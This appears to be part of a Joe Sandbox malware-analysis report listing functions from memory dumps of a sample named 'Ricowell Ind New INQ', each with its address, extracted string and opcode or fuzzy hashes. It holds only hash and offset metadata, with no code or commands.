Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 0bc620e1aaf325813f3f524b3d1b203534a8de39df5e3acf11492e620102976c
Instruction ID: f168f5429427ca38958b8170f84a5d703073de410770b690fd4b7e030e4a68d8
Opcode Fuzzy Hash: 0bc620e1aaf325813f3f524b3d1b203534a8de39df5e3acf11492e620102976c
Instruction Fuzzy Hash: 48F0FA32204680ABD331DB48CC05F8ABBFEEF94B20F040528A55293490C6A4F90ACB60

Function 375935E9 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

r, xrefs: 3759363D

Memory Dump Source

Source File: 00000003.00000002.790967762077.0000000037580000.00000040.00001000.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37580000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: r
API String ID: 0-1812594589
Opcode ID: 162d5dfbaf53828670bfb17644c9965aa5e00f5da88a760fc11ac33bfc189aaf
Instruction ID: 7bf94eafdf682e33c2da752a25b86352513511d6b331f4fb3da38ba060db9e53
Opcode Fuzzy Hash: 162d5dfbaf53828670bfb17644c9965aa5e00f5da88a760fc11ac33bfc189aaf
Instruction Fuzzy Hash: 4191D77060C7848FD7A8DB29C454BAABBE2FBDD340F50496DE1DAC3261DA34D945CB42

Function 37593C2B Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

`, xrefs: 37593C7D

Memory Dump Source

Source File: 00000003.00000002.790967762077.0000000037580000.00000040.00001000.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37580000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 4a39187e977c29558a7bf9668852cdf1a702df9e7260602ab5bef8b444f2ebcf
Instruction ID: f38f3daf3a760726112084fcf752c6be2946b29ec12d53f497fbd3b1b9142a42
Opcode Fuzzy Hash: 4a39187e977c29558a7bf9668852cdf1a702df9e7260602ab5bef8b444f2ebcf
Instruction Fuzzy Hash: CC91C53020C7848FD7A9DB29C494BAABBE2FBDD344F54496DE1D9C32A1DA34D845CB02

Function 378BA580 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 378F65D4

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: d072afb4ffb0e12c42ca183d5fea471a32aa5c1ef84956d60517eb430d968e83
Instruction ID: 1879c23c000d24eabd2fa7b2a989fdef2ec1f65413b0303e5610f0f910dd0011
Opcode Fuzzy Hash: d072afb4ffb0e12c42ca183d5fea471a32aa5c1ef84956d60517eb430d968e83
Instruction Fuzzy Hash: A5715DB5E0021A9FDF14CF98E5907ADBBB1BF68360F50822EE405F7244EB369941CB60

Function 3788965A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 37889713

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: cf001e69a80641a8cc3ed551a73227fc2f86a0353987b9bba849c8e96c1f93c2
Instruction ID: 34d3b18a5c973e93fa568bfed97ec4ac6db11d2d3973ac665034b15931283efe
Opcode Fuzzy Hash: cf001e69a80641a8cc3ed551a73227fc2f86a0353987b9bba849c8e96c1f93c2
Instruction Fuzzy Hash: 2F615EB5D00619EFEB11DF99C840BEEBBB8EFA5764F104169E820B7650DB749A01CB90

Function 378902F9 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#%u, xrefs: 378E4B8F

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: #%u
API String ID: 0-232158463
Opcode ID: ce91eec77391b35b3a5eae9a4b25e9255ac9dd63c775326fc7ff9b293c407512
Instruction ID: 6501180fb22fbfff10e96ee4cb9077dd466989ac4fdc6eaaf71583d236214751
Opcode Fuzzy Hash: ce91eec77391b35b3a5eae9a4b25e9255ac9dd63c775326fc7ff9b293c407512
Instruction Fuzzy Hash: DB715B71A0024ADFDB01CFA8D984BAEB7F8EF19714F140065E919E7651EB38E941CB61

Function 3790F42F Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 3790F4E7

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 9f61a4bdb5714a2bb9f6651e875168b777453bd48b0093045f8e61e884682dbf
Instruction ID: aacd1677a8596a7d49d06fbe978d3dc9afd4fe68e3a27bd6b31706fdc549b35f
Opcode Fuzzy Hash: 9f61a4bdb5714a2bb9f6651e875168b777453bd48b0093045f8e61e884682dbf
Instruction Fuzzy Hash: 8B519CB2514706EFE721CF18C844F6BB7E9FB94768F400A29B55097290DBB4EA04CF92

Function 3789E547 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 3789E5C4

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: ca628301f1c065025c1a99253d17017fdb30206ef0554f93e49e61c09c3d44fa
Instruction ID: 9ff1662e0fbe7258dc4c8156621125aae8a007ce616903965e2e6322d3da87cf
Opcode Fuzzy Hash: ca628301f1c065025c1a99253d17017fdb30206ef0554f93e49e61c09c3d44fa
Instruction Fuzzy Hash: 1141B272509301ABD711CE64C844FABBBE8AF9A754F400A3DF594E7180EB78D904CB97

Function 378B41BB Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 378B4220

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c43e4f6ca914e096b0bb6f6f892f888bfe98aaa5ba337e83ae16dc3185e72182
Instruction ID: b931169b10b467863ca1a0efcfaa8988c27ac9dad51633d27783ab2f0b05bed8
Opcode Fuzzy Hash: c43e4f6ca914e096b0bb6f6f892f888bfe98aaa5ba337e83ae16dc3185e72182
Instruction Fuzzy Hash: C2517871505711AFD320CF69C841A6BB7F8FF58710F00892EF9A5976A0E7B4E914CB92

Function 378FC3B0 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 378FC3FF

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 19cc1615494ea8fc4689da050071a0480ec043808f26b3b211cc9324077b54a9
Instruction ID: 6678a36976dc9d79dc9d14de7c620445d681eb1f329de2ebb497aac28dfb9807
Opcode Fuzzy Hash: 19cc1615494ea8fc4689da050071a0480ec043808f26b3b211cc9324077b54a9
Instruction Fuzzy Hash: 644181F2D0012DABEB21DA54DC80FEEB77DAB54714F0045E5E618AB140DB35AF888FA5

Function 37909429 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

verifier.dll, xrefs: 379094F0

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: verifier.dll
API String ID: 0-3265496382
Opcode ID: 8f2c1ea33f307082fc6831e71fadcfab9cc612c994350d54059479dcd496e62b
Instruction ID: 77e1fc019d71e1a2e72e1bccfa8c7ce364517cbd00b1d4ad9605234aa9a37247
Opcode Fuzzy Hash: 8f2c1ea33f307082fc6831e71fadcfab9cc612c994350d54059479dcd496e62b
Instruction Fuzzy Hash: 8631E8B5710351AFE7148F1D9861B2677EDEB88378F90817AE908DF381E635DD818B50

Function 378B7425 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

#, xrefs: 378F442D

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 6965cac1e13bd5fab6b18dc40a87e1d3c4b851185aea300bbcdbc7d08ff272ce
Instruction ID: 2a0d291225940f97cbb4047fa067189d964d3ee884288bd49b328e99e1977c5c
Opcode Fuzzy Hash: 6965cac1e13bd5fab6b18dc40a87e1d3c4b851185aea300bbcdbc7d08ff272ce
Instruction Fuzzy Hash: 9441BF75A0471A9FDF25CF88C880BBEBBB4EF60712F00449BE955A7340DB349941CBA1

Function 378B360F Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

Flst, xrefs: 378B3651

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Flst
API String ID: 0-2374792617
Opcode ID: 7a386facfb8000fa54f5d72007bf78624d828632397628ce01dcb8e242658604
Instruction ID: 6d338e8cd2ffe83f1cd9fa5e1c1f83c685b8ad520eafa14ecdcc42788c7be001
Opcode Fuzzy Hash: 7a386facfb8000fa54f5d72007bf78624d828632397628ce01dcb8e242658604
Instruction Fuzzy Hash: 5141C9B1605301DFD714CF18C080A1AFBE4EBAE720F11816EE459CB381DBB1E886CB92

Function 378FC6F2 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 378FC722

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 09c059874630bd8903bdf2a7d3cf76dfe4fd3eb3fb285f8210bca76a9be24b05
Instruction ID: aff6f025bb6052794528de919f2dad1f568fc299c6fddf32faac367e15f22d37
Opcode Fuzzy Hash: 09c059874630bd8903bdf2a7d3cf76dfe4fd3eb3fb285f8210bca76a9be24b05
Instruction Fuzzy Hash: 5A31E37A90061AAFEB15CE5DD845E6FB7B4EBA0720F114529E810A7290DB32EF04C7E0

Function 378AB1E0 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae03d12895b12baeb0f996d6e0a1245f5fa777300ebc1ef86b1cdb96e9cc650b
Instruction ID: 35a5d8101712522814e3af8a9a1c04119bbff56becf717356dfe7f194c3e0420
Opcode Fuzzy Hash: ae03d12895b12baeb0f996d6e0a1245f5fa777300ebc1ef86b1cdb96e9cc650b
Instruction Fuzzy Hash: D5328BB5E10259DBDB14CFACC890BAEBBB5FFA4754F140129E805AB390E735A901CF91

Function 37892760 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5db25756abc455113b4a59f0f7b0233fcf71c344322081d2df13c070b4b1359
Instruction ID: 6ae3c672fe821a2d4c0713e445c8d1a9845d43aba404baa3e4226822719ce40b
Opcode Fuzzy Hash: a5db25756abc455113b4a59f0f7b0233fcf71c344322081d2df13c070b4b1359
Instruction Fuzzy Hash: 6F320174B007598FEB14CF69C8407AEBBFABF96354F20412DD455ABA84DB38A842CF51

Function 3794124C Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d613624bf0b0a630b2e98d650fd4564d806d1a307acd61647657da1f3f3a939
Instruction ID: 60ae01bc9e487e850d4921f45e757fcb767c051f11f54200584125d7c67cb802
Opcode Fuzzy Hash: 2d613624bf0b0a630b2e98d650fd4564d806d1a307acd61647657da1f3f3a939
Instruction Fuzzy Hash: 8122C174A40216CFDB09CF5AC480AAEB7F6BF89358F14826DD855DB385EB34E941CB90

Function 37878347 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a283dd4773042dd5c6aca0232304f1c8d38fa90e0f8d9339443c78cb9e66aafb
Instruction ID: 27c6d0eccdc6a0f74eb061b90aab797adf12fb768a5bb74aed355b25f4787287
Opcode Fuzzy Hash: a283dd4773042dd5c6aca0232304f1c8d38fa90e0f8d9339443c78cb9e66aafb
Instruction Fuzzy Hash: 1FD1D475A0034A9FEB04CF68C880BBE77B5BF64358F548929E816DB280EB34E945DF51

Function 3788D700 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c86188efc6247b8147ccb89c0c05aef9410ff2ac9d8c5cd320d1e9141c1612
Instruction ID: a0586ea9bcb9825ba6d70f89228b13ddd0029078ddf0b81f8e530613e15ae5d1
Opcode Fuzzy Hash: 45c86188efc6247b8147ccb89c0c05aef9410ff2ac9d8c5cd320d1e9141c1612
Instruction Fuzzy Hash: ACC1B775A00316AFEF14CF59C840BADB7B5EFA9324F548259E824EBA80D774ED41CB90

Function 378C1763 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b5379f5003c54a372a5c5d67db69bf551e1b852648be1636d446a77c2e5e75
Instruction ID: 693956e50446a296e00e5c45479972d8be6fdf653e57ba4a53a303992a48f33a
Opcode Fuzzy Hash: 93b5379f5003c54a372a5c5d67db69bf551e1b852648be1636d446a77c2e5e75
Instruction Fuzzy Hash: 7DD103B59002099FDB41CF69C980B9ABBE9FF19350F1440BAED09DB256DB35E905CFA0

Function 3789F380 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c4df35bcd05cf9ad96a3d46979e86d732a783269376774e297546e5fed983f
Instruction ID: e96d4f3d82537f1ebcb93b505a63d4db42b14e5a98e2301e33e3e7e00bf8dcac
Opcode Fuzzy Hash: 97c4df35bcd05cf9ad96a3d46979e86d732a783269376774e297546e5fed983f
Instruction Fuzzy Hash: BEC103B5A01224DFEB0CCF18C490BF977A1FF6A764F5541B9E841DB291E734AA42CB60

Function 378837E4 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b1cd6ac01b3375369f184f200c16ac53748853ba8ebb1f17206a650abe6c231
Instruction ID: fc3659a3e1e6bf7ed78cd0ed202875b11e87232f378009aa4dd7095850130710
Opcode Fuzzy Hash: 6b1cd6ac01b3375369f184f200c16ac53748853ba8ebb1f17206a650abe6c231
Instruction Fuzzy Hash: AFC155B1901649EFDB15CFA9D850B9EBBF4FF58354F10412AE42AAB750EB38A901CF50

Function 37890445 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b20c421a5f0d7cf45695429102df60821ed91581afdeee7473aace158a234d
Instruction ID: 9f6cb0bb14f261d5eca06493dea696b76d39f01a22f359c42870432f748810c0
Opcode Fuzzy Hash: 63b20c421a5f0d7cf45695429102df60821ed91581afdeee7473aace158a234d
Instruction Fuzzy Hash: F8B1153570070AEFEB11CFA4C850BAEB7FAAF96324F100168E559DB641DB34E941CB51

Function 378882E0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 115d1c253ff8705f0de34fed67e2f8ae1d343e70b5b6683f8cdad5c26b496e35
Instruction ID: c608a757248bc896e32007bcb4d6ba19bfc89d6f765d3a78fc50d4dd84c67136
Opcode Fuzzy Hash: 115d1c253ff8705f0de34fed67e2f8ae1d343e70b5b6683f8cdad5c26b496e35
Instruction Fuzzy Hash: 94C16674618381DFE360CF18C480BABB7E4BFA8354F44496DE99987291E774E908CF92

Function 3787C3C7 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92af5e1b46073afd625cb81f0a01ccaa19d170e707f06943a073de7f3c8e100e
Instruction ID: 1203229d80b483c08bf5a6de1ee440d2f2192fc126821589a7b1b81e9544b2cc
Opcode Fuzzy Hash: 92af5e1b46073afd625cb81f0a01ccaa19d170e707f06943a073de7f3c8e100e
Instruction Fuzzy Hash: F2B18F74A002A58BEB64CF68C890BB9B3F5FF54750F4085EAD50AE7240EB759D86CF21

Function 3789E310 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3181e2ba9674ce2cf90b62920a50163ab56597d90072321754da024df35cb8
Instruction ID: 5f224f250fdcfd7d74177d2dd94814ec6058bb603bf15771389774f2bea51af5
Opcode Fuzzy Hash: bd3181e2ba9674ce2cf90b62920a50163ab56597d90072321754da024df35cb8
Instruction Fuzzy Hash: 95913876A00A14DFE7108F28C880FFD7BB5EFA6B64F454179E8449B750DB38A942CB52

Function 378893A6 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de4df84ecf99b5101c94039cdd85ee71dc1e5e54a0c1ae7c7050b7d33498f832
Instruction ID: 95076b9f3108edf8797fd6e2e44b65e07426a8610de1a97bd24a9f48c47f3c9c
Opcode Fuzzy Hash: de4df84ecf99b5101c94039cdd85ee71dc1e5e54a0c1ae7c7050b7d33498f832
Instruction Fuzzy Hash: 07B1A1B8900705EFEB14CF58D4417A8B7B0BF69368F144259D861DB2A2DB35E883CF90

Function 37887290 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4259d5dff9ca59b8a398ad4650c6c4b0bc089ddf385f58afa5b3dee741584fb
Instruction ID: 96b56ed16c7af3809e7fb64fa59ed5fa972c0697fe273b9e293e9e4abf1f51e2
Opcode Fuzzy Hash: b4259d5dff9ca59b8a398ad4650c6c4b0bc089ddf385f58afa5b3dee741584fb
Instruction Fuzzy Hash: 30A17575608352EFE300CF68C480A1ABBF5FFA9354F144A6EE4959B350EB34E945CB92

Function 3759390C Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967762077.0000000037580000.00000040.00001000.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37580000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d7be0ea813687ae8fc9984300f2dcc6468e992320d0b630c5c385a6609b2198
Instruction ID: dba3a53392e5bff4ad4c32d2861607daed44aab0d49eb2e0a6501777d136ba80
Opcode Fuzzy Hash: 4d7be0ea813687ae8fc9984300f2dcc6468e992320d0b630c5c385a6609b2198
Instruction Fuzzy Hash: FF91C83020CB848FD7A9DB29C454BAABBE2FBDD344F54496DE1DAC3261DA34D845CB42

Function 3794A6C0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
